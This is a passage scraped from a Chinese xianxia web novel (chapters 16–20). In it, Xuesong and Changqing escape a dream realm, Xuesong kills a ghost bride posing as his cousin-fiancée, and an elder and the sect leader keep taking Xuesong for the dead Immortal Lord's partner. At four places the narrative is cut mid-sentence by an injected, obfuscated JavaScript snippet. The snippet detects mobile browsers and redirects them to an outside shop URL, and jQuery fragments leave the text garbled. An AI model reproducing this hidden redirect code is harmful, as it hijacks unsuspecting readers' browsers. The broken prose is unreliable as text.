如果这话说的是仙尊,那倒有两分可能,仙尊对外冷冷淡淡,这是众所周知的事,但对亲近的人怎么样,从前还没有人知道过。
谁又能保证,仙尊不是那种对外冷淡对内热情的人呢?虽然只是这样一想,就觉得浑身鸡皮疙瘩都起来了,但是万一呢?
凡事总有个万一。
毕竟有婚约,又自小相识?
雪松和那个表小姐不过见了今天那么一面,哪里来的自小相识?那这个自小相识又有婚约的人,一定是仙尊了。
雪松和仙尊都是从同一座山上出来的,说自小相识,不是不可能,即使有年龄上的差距,但如果把转世轮回这个因素考虑进来,一切都合理了——
也许仙尊在离开那座山之前,曾经和雪松有过婚约,二人自小相识,感情甚笃,父母双亡,相依为命,但雪松年纪轻轻就死了。
仙尊决定远离伤心地,于是下山,下山途中,遇到了怪物,仙尊斩杀了怪物,以此明志。
之后仙尊入了宗门,为了尽快提升修为,重新找到已死的爱人的下落,开始断情绝欲,并把一切投入到修炼中去。
既可以解释仙尊为什么对其他人不假辞色,又为什么对雪松独一无二,也可以解释雪松为什么和仙尊有如此纠缠不清的牵扯。
这就是真相!
长青忍不住偷偷拿着带进来的徽章,说完自己的猜测,向长老询问情况:“仙尊刚入宗的时候,对提升修为的态度怎么样?”
长老毫不犹豫回答:“特别勤奋,特别认真,谁都比不过,尤其是他又有天赋,又拼命,好像比别人多一倍的时间一样!”
事实上,那是因为系统开挂,正好雪松又像刚拿到新游戏一样兴致勃勃,不能和别人说,又不想和别人分享,只能把自己的旺盛精力和兴奋激动全都消耗在提升修为上。
长青点了点头,又问:“仙尊的修为提升到一定境界之后,是不是就突然放弃了从前那种拼命的修炼生活,停下来了?”
“可不是吗?”长老后知后觉反应过来,把手一拍:“也许,那时候的仙尊,修为已经够了,所以,早就在我们不知道的时候,找到了雪松,把人带进了自己的洞府,才会不那么急着提升修为了。
我们真是什么都不知道!”
实际上是,雪松觉得修为已经差不多了,刚来新世界的那股新鲜劲也散了,系统没有强制要求,他也就躺平了。
长青觉得长老说的对,一边点头认同,一边喃喃道:“雪松提到的表妹可以约等于仙尊,那他刚才说的话岂不是——”
仙尊在雪松面前,不像在别人面前那样隐藏自己的本性,更何况,雪松就喜欢仙尊那样的,仙尊知道,所以不会改。
长青突然觉得自己想通了关窍,倒吸一口凉气:“雪松该不会是认为,像仙尊那么强大的存在,既不会死也不能死,所以根本没有死,才压根不承认已经死掉的仙尊是自己的朋友吧?”
“这倒是很有可能。”长老若有所思,点了点头,觉得很有道理。
雪松收敛了笑容,愤愤不平又咬牙切齿,好像真是一个不谙世事的少爷一样,非常真情实感,对管家说:“住在我们家的,一定是不知从哪里找来的容貌相似的女子,冲着骗婚假扮的!”
管家陷入沉默,觉得好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565083|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像有点道理,因为他们家大业大,有人冲着他们的财产或者少爷的脸来骗婚,不是不可能,又好像没有道理,因为他看着那个表小姐,明明就是少爷的表妹,但少爷非要说不是,他也有些分不清楚,毕竟不是他的未婚妻。
管家想了好一阵子,一时分不出来,究竟有没有道理,满脸的思索纠结,最后只能无可奈何,对雪松告饶说:“好少爷,这些真啊假啊的事情我搞不清楚,以后还是别跟我说了,我怕我听完之后更老糊涂了。”
“我可以不再跟你说这个,”雪松皱着眉头,似乎对于他居然不能立刻赞同自己而感到有些不愉快,但还是点了点头,纡尊降贵似的显出了一点少爷应有的矜持傲慢说,“但你要把今天这位女客人的住宿房间,从我旁边挪到应该去的位置,也不能再和我提什么结婚不结婚的事。
我想,刚才已经跟你说清楚了,我只和表妹结婚,除了表妹,我谁也不爱,我可不能做一个不守信用还花心滥情的人!”
管家连连点头,只觉得如蒙大赦,迅速答应下来,甚至有点高兴说:“我不提这些就是了,我现在就去把房间换了。”
雪松点了点头:“去吧。”
管家转身离开。
长青捏着徽章,对长老咬牙切齿说:“刚才的话你听见了吗?”
长老看着面前已经出现密密麻麻裂痕的画面,一时有些无言,缓缓回答道:“我听见了,雪松说他只和仙尊结婚,除了仙尊他谁也不爱,他不愿意做一个不守约定,还花心滥情的人。”
长青冷笑一声:“看来仙尊之所以那么守身如玉,全是因为雪松不喜欢花心滥情的人?从前倒没看出来,仙尊如此痴情啊?”
“还有不守约定,”长老犹豫了一下,本意并不想刺激他,听他似乎情绪激动,忍不住试着安慰他说,“别忘了不守约定,就算仙尊守身如玉是因为雪松,也不见得是因为痴情,或许,只是守约呢?”
“这话你自己信?”长青摇了摇头。
长老不知应该说些什么,就沉默了。
长青在暗处直勾勾看着雪松,缓了一会儿,喃喃道:“不管因为什么,也不管曾经有过什么,反正,仙尊已经死了。”
他长出了一口气,说服了自己,心情又平静下来,修复了一下徽章,因为自己刚才情绪过于激动而造成的裂痕,顺便询问了一下长老:“现在画面看起来还正常吗?刚才不好意思。”
“看起来挺正常,”长老心情复杂,想劝他一句,又觉得他不会听,想到他以后可能承受比今天更大的挫折,语气就不由得柔和了许多,“没关系。”
长青点了点头,把徽章别在衣服上,微笑着走了出去,向雪松打了个招呼:“刚才没看见你。”
“我和管家谈了一下,”雪松顿了顿,“刚来的那位小姐应该住的房间,总算是没有出错。”
“那就好。”长青意味深长。
17.第 17 章
第二天,发现房间被换了的表小姐,哭哭啼啼去找雪松,雪松正看着长青在院子里舞剑。
长青本来只是因为随身带着剑,所以像平时一样,打算早上起来练一练,他练的时候,雪松还没起来,所以他没想到雪松会看。
至于雪松是什么时候来的,他也不知道,或许是因为太专注了,也或许是雪松来得悄无声息,也没有叫任何人打扰他。
还有一种可能,雪松和他以为的手无缚鸡之力不一样,是一个会武功的少爷,只是不太擅长而已。
他不太确定这个,当着雪松的面舞了一套之后,停了下来,站在院子里的那棵桃花树下,向他问:“你要不要也试一试?”
他本来想直接拿着剑刺过去看看雪松会不会躲的,但是考虑了一下,这样太危险了,要是雪松真的什么都不会,容易直接被刺死,要是会的不多,反抗不了,但是又下意识躲避,那更容易死了。
他暂时还没有在这里,杀一杀雪松的打算,所以还是选了更温和的方式,向雪松走了两步,把手里的剑递了过去,看着雪松。
雪松看着那把剑,想了想,微笑道:“好啊,我也想试一试。”
他说着接过了那把剑,按照刚才看见的长青的方式演练起来,长青愣了一下,仔细看了起来,忍不住眯了眯眼睛。
不管雪松是从前就知道这套剑法,所以这样流利,还是刚才看了他的,记下来了,所以这样一点不错,眼前的演示都可以证明,雪松确实天赋异禀。
这种人学剑,再合适也没有的,难怪,仙尊会对雪松念念不忘,仙尊一看就是于剑道上有所追求的人,见到一个本来就有前因牵扯的人,和自己在剑道追求上有话可谈,会沉溺其中,倒也不奇怪。
长老忍不住感慨起来:“如此流利,实在不像第一天练,倒像是仙尊从前就教过他,仙尊从来不收徒弟,没想到还有教人的功夫,真是细致入微。”
长老的本意是,即使雪松和仙尊没有任何前因,仙尊见到一个剑道上有所天赋的人,多半也会指点一二,只是不收徒罢了。
也不知仙尊教了多久,雪松又练了多久,但这二人在剑道上的心,是一样的,仙尊能察觉到这一点,雪松也愿意配合,难怪会走到一起。
长青在心中冷笑一声,密语传音回道:“细致入微?那也不见得!仙尊与雪松的关系不同寻常,谁知道,是不是借着练习的功夫,暗中达成什么别的目的?”
雪松之前不是说仙尊对内对外不一样吗?那谁又知道,对外冰冷如霜的仙尊,对内是不是情不自禁,才借着练习亲近呢?
长老猛然一惊,被他提醒,若有所思:“仙尊应该不是那样的人,但练习确实是个好机会,说不定他们的感情就是在那时候突飞猛进的?”
长老说完怕刺激他,迅速打着哈哈道:“反正又没有人亲眼看见过,就当什么也没有发生吧,有证据再说,胡乱猜测可不好。”
长青冷哼了一声,不置可否,但确实没有再说什么,至于有没有想什么,那就只有他自己知道了。
雪松练完一遍,把手里的剑还了回去,微笑道:“谢谢你把剑借给我,练剑确实快活。”
长青的脸色有点古怪,但还是把剑接了回去点了点头,勉强回答道:“不用客气。”
练剑快活?快活在哪儿?累得气喘吁吁快活还是满头大汗快活?这事要是快活,宗门里那些每日晨起练剑的,也就没人抱怨了。
莫不是曾经在仙尊的教授下练剑快活?仙尊不像是在剑术上教导时会放水的那种人。那就是喜欢仙尊到,在仙尊的指导下练剑也觉得快活了?情爱连这种疲惫也能扭曲吗?
表小姐看见雪松练完了剑,冲了上去,用帕子捂着脸,眼眶通红说:“表哥!”
表小姐正想诉苦,雪松微笑着,仿佛对换房间的事一无所知一样,十分温和,看向表小姐问:“怎么?”
表小姐愣了一下,不知道他究竟知不知道,有些狐疑:“你——你知不知道,我的房间被人换了?”
雪松疑惑问:“怎么会呢?”
表小姐被哽了一下,擦着眼泪说:“我也不知道,也许,是下人刁难,看我一个无依无靠的,孤儿弱女子在这里,好欺负罢了!”
雪松若有所思,点了点头,好像听进去了的样子,一脸怜惜温和,向着表小姐说:“那真是太坏了!”
表小姐不知他是认真的还是在开玩笑,又或者故意装不知道,迟疑了一下,拉住他说:“我想换房间!”
“好啊,”雪松微笑着点了点头,像柔软的棉花糖一样,有求必应似的,问表小姐,“你要住哪儿呢?”
表小姐没想到这个要求这么快就即将实现,又兴奋又愉悦说:“那我要住在你旁边!这样比较安全,你是这里的主人,说一不二的,没有人敢忤逆你,要是出了什么事,你也能立刻帮忙,好极了!”
雪松摇了摇头,微微皱着眉,忧愁中带着为难,轻轻说:“这可不行,我是男子,你是女子,你怎么能住在我旁边?”
雪松知道表小姐肯定不会同意,顿了顿,又说:“更何况,我旁边住着客人,纵然你我是未婚夫妻,你住在我旁边没什么,住在他旁边,于理不合,对你的名声不好,你也不方便,还是算了吧!”
表小姐瞪大眼睛,眼中含泪,一脸诧异,十分不可置信,摇了摇头,喊道:“表哥!你平日里只会顺着我!哪里会拒绝?你是中了邪?还是被这所谓的客人迷了心智?客人比我还重要吗?我可是你的未婚妻啊!”
雪松眨了眨眼睛,摇了摇头,十分坚定说:“正因为你是我的未婚妻,我才更不能让你,想做什么就做什么,否则,岂不是害了你?你一定是舟车劳顿,睡糊涂了,快回去吧!休息休息再来,也许好些。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568930|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
表小姐后退一步,摇了摇头,捂着脸哭哭啼啼喃喃道:“你不是表哥!你不是我认识的那个表哥了!我不要跟你好了!”
表小姐说着,哭着跑走了,雪松站在原地看着,直到人完全消失,长青似笑非笑在旁边问:“你真不去追?”
虽然心里清楚,雪松对这个未婚妻没有什么,但是,这位表小姐毕竟占了未婚妻的名头,比谁都名正言顺。
长青见到,连这位占了未婚妻名头的表小姐,都因为求而不得,直接自己跑了出去,多少还是有些幸灾乐祸。
雪松看了他一眼,微笑道:“人家姑娘要找个地方好好哭一场,我跟去做什么?岂不打扰?你要是想看倒可以去看,也许,表小姐看在你是个客人的份上,不和你计较。”
长青摇了摇头,不屑道:“这位表小姐连你这个主人的面子都不给,又怎么会在乎我这个客人?你好歹还是未婚夫,我有什么?真追上去,那不是给别人扫一鼻子灰?我才不干!”
雪松哈哈笑了笑:“时间还早,喝酒吗?”
长青有些犹豫,他倒不是不愿意和雪松喝酒,只是觉得这梦境之中不太安全,喝醉了不好:“你真要喝?”
“我想喝,”雪松点了点头,已经开始招呼仆人,把酒拿来,自己找了个位置坐了,“你可以不喝。”
长青想了想,只要不醉死过去,喝一点不算什么,再怎么危险,也不过是个梦境,更何况,长老还看着,就答应下来:“我要喝。”
雪松笑着点头,给他指了指自己对面的位置,十分礼貌:“请坐。”
他有点想坐在雪松旁边,不过,雪松已经给了他座位,他也没什么可挑的,就坐了过去。
仆人拿过来两瓶桃花酒,还有两个杯子,打开酒坛子,分别给他们倒上,还送来一碟花生米和一碟卤牛肉,做下酒菜。
雪松拿起杯子正要喝,管家弯腰问:“您真觉得现在这个表小姐是假的?”
雪松把杯子放下,一脸诧异:“难道还能是真的?”
管家哽了一下问:“那您觉得真的是什么样的?您说您真喜欢,那要是真的那一个来了,您会让她住您旁边吗?”
雪松哈哈笑了起来:“怎么可能?再怎么喜欢,也不能坏人清誉,就算是真的那个来了,我也不会让她住旁边的。”
他顿了顿,收敛了笑容,若有所思:“至于真的是什么样?大约是矜持有礼,闺阁女儿,容貌俊秀,端庄典雅,大方温和,不争不抢,不哭不闹,善解人意,钟灵毓秀。”
一长串的形容词下来,雪松把酒喝了一杯。
管家苦着脸,皱起了眉头,喃喃道:“天下真有那样好的?莫不是把做梦当真了?”
长青若有所思,端起杯子掩饰。
除了闺阁女儿完全对不上,大方温和,端庄典雅,稍微对不上,其他完全就是仙尊。
18.第 18 章
次日,雪松从房间里醒来,听见门外似乎有什么声音,推开门一看,看见一个人正在舞剑,愣了一下。
长青也被声音惊醒,推开窗一看,一眼看出那不是雪松,也很确定肯定不是管家或者仆人,因为他们一看就是没有太多自主意识的背景,不会做这种特殊的事。
那就只剩下一个可能了——
正在舞剑的人,是那个表小姐!
东施效颦,鱼目混珠,班门弄斧,自以为是,装模作样,可笑至极!
长青不知不觉握起了拳头,他看得出来这个人是表小姐也看的出来,表小姐现在舞剑的方式完全是照搬他昨天的。
除此以外,最重要的是,表小姐昨天还是柔柔弱弱的气质,今天一下子就变了,摇身一晃,冷冷清清,居高临下,果然端庄大方,雍容典雅。
这根本就是,按照之前雪松描述出来的仙尊的形象,临摹出来的结果!
一个人怎么会突然产生这样巨大的变化?哪怕要发生变化,也不应该是今天,早在来的时候就该变了,那为什么是今天?
因为之前信息收集还不到位,之前还不能确认雪松究竟喜欢什么样的表小姐,之前没有办法直接接近雪松,达成目的,所以现在换了更方便的。
可是,她怎么敢?当着失去记忆也仍然爱慕仙尊的雪松的面,一边模仿仙尊的气质,一边耍弄剑术?她究竟想干什么?这不只是亵渎!
这根本是羞辱!羞辱!
长青深吸了一口气压下自己的怒意,转头看向就住在旁边的雪松的房间,眼前的情况,分明是,项庄舞剑意在沛公。
他看见了没用,而且这显然,也不是给他看的,这位表小姐弄这么一出,要说不是在刻意勾引雪松,那也至少是在雪松面前特意表现,不可能不在乎雪松看不看得见。
不然,也没必要专门在雪松房间面前的院子里,穿一身白衣,按照雪松说的喜欢的样子,冷着脸,学着他们昨天的样子舞剑。
长青倒想看看雪松究竟醒没醒,醒了之后看见这副样子,又是个什么反应。他突然起了一点看乐子的心思。
雪松开着门睁着眼睛,那确实是看见了的,只是开头愣了一下,随后就决定推进度,他其实不是很想在这里继续待下去,他还打算回去睡觉呢,在这可睡不好。
总觉得眼睛一闭一睁天就亮了,根本没睡着!这地方不适合睡觉!
因此,雪松立刻笑了起来,三步并作两步走了出去,一把拉住了表小姐的手,按理说,练过剑之后的人身体应该是温热的,哪怕没有汗,也不可能冷,但是在拉住表小姐的一瞬间,雪松冷得打了个寒战。
看来这个表小姐果然不是人!
但不是人就等于没有找错,雪松越发喜悦起来,被冷到脸色发白,起了浑身的鸡皮疙瘩,仍然不肯把人松开,甚至微笑着说:“表妹!你来了?什么时候来的?我都不知道!”
表小姐见他冷得不行,还想把手抽回去,但一时没抽走,也就不强求了,反正他这表示亲近的样子,表小姐心里很满意。
听了他的话,表小姐仍然记得自己要伪装什么,不愿前功尽弃,同时也地方他是为了骗自己,冷着脸说:“刚来。”
“那真是辛苦了,”雪松把表小姐的手晃了晃,“坐下来休息一下吧!”
长青看得一愣,不由得痛心疾首。
穿个白衣服冷着脸舞个剑,模仿一番就能把你骗到吗?你真是太好骗了!难怪仙尊之前从来不把雪松放出来,怕被人骗走吧!
见了仿佛是仙尊的人,也不管性别就立刻凑上去,连手都拉上了,也不觉得这人出现得蹊跷奇怪,仙尊往日里过得可真好!
怪不得他们两情相悦!
管家十分高兴,连忙招呼着仆人给他们布置位置,表小姐和雪松就坐了下来,雪松亲自给表小姐倒了茶,捧着茶杯试了试温度,确认既不烫也不冷了,才轻轻放在表小姐面前,对表小姐微笑着仿佛十分体贴爱慕说:“练了那么一阵,一定渴了吧?快喝些水!”
表小姐顺着他的意思,将就喝了一点,心里越发高兴。这毛头小子也不怎么样!见了喜欢的人,还不是颠颠贴上来了?看来用不了多久,这个猎物就能搞到手了!还以为有多难呢?如今看来反而是简单的了!
管家便在旁边询问道:“少爷是对表小姐满意了?”
雪松目不转睛,注视着面前的表小姐,面上仍然是伪装出来的十分温和的微笑,点了点头:“我对表妹的心天地可鉴。”
长青推开门从旁边出来,非要往桌边一站,像根木头似的杵在那,双手抱在胸前,剑贴在心口,冷着脸,仿佛棒打鸳鸯似的,居高临下说:“二位起得早啊?”
天地可鉴?天地只看得见雪松对仙尊的感情吧!这位表小姐算什么?一个半路冒出来的货色!也配抢别人的位置吗?争不过仙尊也就算了,连不知哪里的孤魂野鬼也争不过,可笑可笑!绝对不可能!绝不可能!
雪松招呼管家让仆人搬来一个新的位置给长青坐了,也笑眯眯给他倒了一杯茶,好像完全察觉不出来他不高兴一样说:“你也起得早,喝点水润润嗓子吧,今天天气有点燥呢。”
长青把水一饮而尽,用一种恨铁不成钢的目光看他,几乎有些咬牙切齿问:“你没觉得有什么不对?”
这已经是暗示了。
雪松当然听得出来,但他仍然装作听不出来:“今天天气特别燥吗?这个我是感觉到了!”
他又给人倒了一杯水,看着长青喝了下去,笑着说:“其实看了刚才表妹舞的剑,我有一件事想说,正好你在这儿,一起听了吧!”
长青将信将疑,皱了皱眉,端着杯子问他:“什么事?”
雪松笑眯眯说:“反正我与表妹早有婚约,又自幼相识,表妹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574921|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如今来投奔我,我也不能不给人一个名分。”
长青听着听着觉得不好,脸色逐渐黑了,想要阻止,但是没来得及,随后听见雪松对管家大喊:“我明天就想结婚!快点去准备婚礼吧!至于我父母亲那边,给他们寄喜帖喜糖就是了,等他们回来,也许连大胖小子都有了,他们会高兴的,不用担心!”
长青一下子站起来,砰的一声,把茶杯放回桌上,气得脸色铁青。
长老在徽章里连忙用传音入密提醒他:“这只是个梦罢了!不要闹事,看看他究竟要做什么,也许是出去的办法!万一这只是他演的呢?”
长青勉强按耐下来,咬牙切齿对雪松说:“这可真是大好事,我先恭喜了!不过我突然觉得有些不舒服,回房间休息休息。”
他说着,转身离开,回了房间,打坐去了。
管家听说要结婚,高兴得不得了,连连点头,也不说挑选个日子,立刻让仆人出去采买,拍着胸脯说,保证明天就能结婚。
管家和仆人们一直忙碌到晚上,又从晚上忙碌到白天,天亮的时候,雪松已经睡了一觉起来了,他们还睁着眼睛,一副亢奋的样子。
管家对雪松讲了注意事项,雪松说不太记得住,他干脆就派了个仆人,在旁边教着,把人领到了最后一步,仆人退了出去。
房间里只剩下了雪松和新娘。
长青在门外徘徊,想要进去看看,被管家和仆人一起围住推嚷着,被迫离开了。
此时,新娘还没有掀盖头,雪松一步一步走过去,一剑扎进了新娘的脖子,并且双手用力,让那把剑从新娘的脖子里穿了过去。
新娘砰的一声倒在床上,血流得满地都是,还没来得及做什么,只觉得出师未捷身先死,勃然大怒,四周顿时阴气阵阵,所有灯都灭了,一片漆黑。
雪松能感觉到自己正在离开梦境,坐在了旁边的柜子上,听见新娘分外不甘喊道:“为什么?”
雪松在柜子上晃了晃腿,微笑着回答:“因为你一看就是假的。”
话音未落,他从梦境中消失。
与此同时,长青在管家和仆人的骤变中察觉事情和自己想的或许有些不一样,因为担心雪松的安危而冲了过来,刚到门口就听见雪松回答新娘的那句话,顿时愣了一下,随后也因为梦境破裂而离开。
他从床上起来,一时有些回不过神,虽然他并没有听见问话,但房间里面只有两个人,除了雪松就是新娘,雪松不会无缘无故说那话,新娘也不会无缘无故就发疯,可见,雪松对新娘做了什么,让新娘对雪松发问,雪松才说了那句话作为回答。
长青还以为,雪松并没认出来,原来在他不知道的时候,雪松早就认出来了。那是什么时候?一开始?
梦境破裂通常是因为制造者身亡,制造者多半是新娘,雪松连自己的新娘都能毫不犹豫下杀手,就因为那是假的?
19.第 19 章
扪心自问,长青在怎么在乎自己的朋友,也不会在记忆全无之后,把自己的朋友误认为未婚妻,更何况是在意识到,未婚妻根本不是自己的朋友的时候,直接下杀手,他最多有所怀疑,不会这么果断。
谁会因为觉得自己未婚妻是假的,就干脆动手?恐怕,雪松动手的根本原因,完全是本能提醒,眼前的人装的再像也不会是真的,因为真的已经死了,既然一定要装,那就去死好了。
那样才足够像,那样才足够真,那样才足够,为自己未经允许模仿了不该模仿的人,付出应有的代价。
哪怕一切的基础,是雪松对仙尊的爱,但是,不管什么,沾上死亡,都多少有些暗沉晦涩,令人恐惧。
更何况,是经过死亡扭曲的,无从安放,无可奈何,求而不得的爱。
这种东西和阳光温暖完全不沾边,反而恰恰像是在墙角的阴影里放得发霉腐烂的,有毒的,绿惨惨的,一只瘪下去的橘子。
再说,仙尊现在连尸体也没有,根本是魂飞魄散,却也因为雪松,而总让人隐隐约约有种,阴魂不散的感觉。
加上梦境中的事,长青感觉自己现在看见雪松,就算雪松什么都不干,也已经十分惊悚了。
现在看来,绝不能因为雪松现在的修为还低,就对他毫不提防或者贬低轻视,否则只会悔之莫及。
毕竟,雪松的修为再怎么低,曾经也是受过仙尊教导的,哪怕现在不记得,也仍然不妨碍他使用仙尊教给他的招式。
强将手下无弱兵,仙尊是当世最强者,仙尊亲自教导出来的人,哪怕只是一知半解,只会一鳞半爪,也绝对是不可小觑的存在!
谁能看不起仙尊呢?那么,谁又能看不起雪松呢?
不知道现在雪松怎么样了。
长青想到这里心中一紧,才意识到自己忘了去看人的情况,起身推门出去,看见隔壁的门没有开,就伸手敲了敲,也不知道房间里是不是只有雪松一个,但听起来挺安静的。
“进来吧。”雪松说。
长青推门进去一看,雪松坐在床边,头发有些凌乱,衣服还是之前的样子,大概是刚从梦中醒来,有些回不过神,但不知道是否保留了梦中的记忆。
长青试探着问:“你还好吗?”
雪松面无表情,点了点头。
“你刚才在做什么?”长青往前走了两步问。
“睡觉。”雪松垂着眼睛,正在考虑要不要表示自己记得梦中的事,但又觉得,哪怕现在表现出来的是不记得的情况,麻烦也够多的了,要是记得的东西更多,那就更麻烦了,皱了皱眉回答。
“那你有做梦吗?”长青犹豫着问。
“没有,”雪松摇了摇头,“可能是不记得了吧。”
长青点了点头,却忽然发现房间里的一面镜子,散发着浓重的阴气,一个驱鬼术打过去,镜子啪嚓一声破裂了。
一只穿红衣的鬼新娘从镜子里飘了出来,大怒道:“居然敢耍我?!你们这两个该死的!骗子!骗子!”
鬼新娘说着尖声咆哮,伸着长长的指甲,就向他们扑了过来,与此同时,一团浓重的黑气腾空而起,迅速弥漫在整个房间里。
二人眼前一片漆黑,长青紧急联系了长老,握着徽章,正打算让长老想办法过来帮个忙,长老垂死病中惊坐起,立刻回复道:“马上来!”
为了以防万一,长老还找了宗主,毕竟不管是自己的徒弟长青还是疑似仙尊道侣的雪松,都不是宗门可以随意丢弃的。
宗主就顺便召集了其他长老,倒不是多么重视,只是“疑似仙尊道侣”这个名头还是太重了一些,不得不谨慎一些。
一切都在瞬息中完成,鬼新娘刚刚找到了雾气中还坐在床边的雪松,雪松面无表情坐在那里,从储物戒里掏出来一颗珍珠,用两根手指,一下子把珍珠捏得粉碎,雪白色的珍珠粉,从他指腹中滑落。
鬼新娘还以为他是惊呆了,不知如何反应,心中暗自嘲笑他连剑也没拿出来,今天非得变成自己的猎物不可,悄无声息靠近,准备偷袭弄死。
此时,不远处的长青,掏出一面铜镜,往周围一照,一束强光立刻从镜中亮出,正好照在准备偷袭的鬼新娘的身上。
鬼新娘猛然一惊,长青立刻对雪松大喊道:“小心!”
鬼新娘正要下手,一道剑气猛然出现,正好将鬼新娘削成了两半,鬼新娘大受重创,顿时双手弯曲成爪,仰头惨叫起来。
长青受那道剑气的威压影响,往后退了一步,认出了那剑气的主人,不由得瞪大了眼睛,惊恐中带着诧异,喃喃道:“仙尊?”
正在旁观的宗主定睛一看,摇了摇头回答:“不是仙尊,只是仙尊的一缕剑气而已。”
长老若有所思道:“可是仙尊从前并没有赠送任何剑气给任何人,毕竟,以仙尊的修为,想要去哪儿都不过是瞬息间的事,又何必送人这个?”
那送人这个东西一定不是为了防身。
众人不约而同,想到了一件事。
原来仙尊在他们不知道的时候,还曾经给雪松赠送了剑气作为护体法宝,哪怕是一次性的,在其他人都不曾得到过的前提下,这足以证明,雪松对仙尊的重要性。
即使不是道侣,也绝对不会是普通朋友,更不可能是陌生人。
何况,仙尊的修为举世皆知,寻常外物根本无法储存仙尊的剑气,那颗珍珠一定是特制的。
也就是说,仙尊为了把自己的剑气作为护体法宝赠送给雪松,还专门制作了一颗能够储存自己剑气的珍珠,仙尊真是用心良苦!
长老忍不住啧啧称奇道:“我还从来没想过,仙尊那样冷冰冰的人,居然也会给心上人,送储存了自己剑气的珍珠吗?”
他说完,愣了一下,忽然想到什么,把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583864|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手一拍,恍然大悟惊讶道:“心怀爱慕者,特意制作,有自己气息的重要物品,送给心爱之人,这不就是定情信物吗?”
这话一出,所有人都沉默了。
看来,“疑似仙尊道侣”这个名头,可以更换成“收下并使用了,仙尊赠送的定情信物的,已确认的,仙尊的道侣”了。
鬼新娘勉强重新聚集起来,已然元气大伤,但仍然不肯就此离开,毕竟,挑选好的猎物近在眼前,次次功败垂成,要就这么走了,以后的日日夜夜都会因为回想起现在这一幕而感到辗转反侧了。
鬼新娘盯着雪松那张与仙尊一模一样的脸,想起从前自己也曾经见过仙尊,那一次也是十分不愉快的经历,新仇旧恨涌到一起,怒火噌噌噌往上涌,顿时破口大骂:“我说当年那仙尊,怎么就素得像个和尚,连美人进他怀里,他也无动于衷,原来是个喜欢自己的脸的娈童变态!”
通过长青远程旁观了房间里发生的一切的宗主和长老面面相觑,一时无言,感觉鬼新娘的话,以人证的方式,从侧面证明了,果然当初仙尊就与雪松有所关联,只是他们没有发现罢了。
鬼新娘咳嗽了两声,提起一口气,又接着骂雪松:“还有你!你这个冷心冷情冷肺又假模假式的骗子!嘴上说喜欢未婚妻,实际上条条件件都是在说仙尊,你以为我听不出来?”
雪松的脸色一点一点变了。
这只鬼又要扣什么锅过来了?
长青还以为他变色是因为对面提到了仙尊,心中一酸。
鬼新娘看雪松脸色变化,觉得自己戳中了他的肺管子,得意洋洋,更加嚣张嘲讽起来:“当初仙尊多大你多大?他喜欢你,是他道德败坏,你喜欢他,是你不知是非,你以为你们之间算什么?什么也不算!最多是一对变态的惺惺相惜!我唾弃你们!难怪仙尊会死,多半是活该!”
雪松忍无可忍,提起剑来,戳了过去,鬼新娘说得正起劲,一时不察,被他捅中了,他把手里的剑转了一圈,拔出来又捅了进去。
鬼新娘这一次连惨叫都没有办法发出来,浑身颤抖着,逐渐暗淡下去,一点一点消失了,连同整个房间的黑雾。
雾气消散了,镜子里的光也消失了,没有危险了,长青把手里的镜子揣了回去,摆弄着徽章,一时不知说些什么。
雪松把剑收回,也不知应该怎样对这个旁听了鬼新娘胡说八道半天的同伴,对于自己即将被误解是可以预见的,已经有些麻了,不想再做什么,免得被他们看见,又说是用情至深,只好冷着脸说:“请你出去一下,我还想休息。”
天确实还没有亮,长青胡乱点了点头,也没来得及问什么,慌慌张张就推开门走了,回到房间,把徽章的联系一掐,自己躺床上,扯起被子把头蒙住。
长老摇了摇头,对宗主说:“这孩子,大概是经历了刚才那么刺激的现场,情绪波动有些大吧。”
20.第 20 章
“要来抽奖吗?”系统忽然问。
雪松来了精神:“都有什么呀?”
系统把转盘给他看:“最少也有一颗糖,最好的那个是人形玩偶,在接触的时候,会自动变成你想要的样子。”
“那就来吧!”雪松摩拳擦掌,重新振奋起来。
